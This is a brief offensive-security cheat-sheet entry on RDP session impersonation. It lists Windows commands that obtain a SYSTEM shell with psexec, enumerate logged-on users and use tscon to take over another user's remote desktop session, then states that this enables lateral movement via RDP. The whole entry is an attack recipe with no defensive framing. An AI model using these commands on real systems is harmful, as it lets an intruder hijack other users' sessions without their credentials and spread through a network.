RDP Session Impersonation

psexec -s -i cmd

query user

cmd /k tscon ID /dest:console

Now we can move laterally via RDP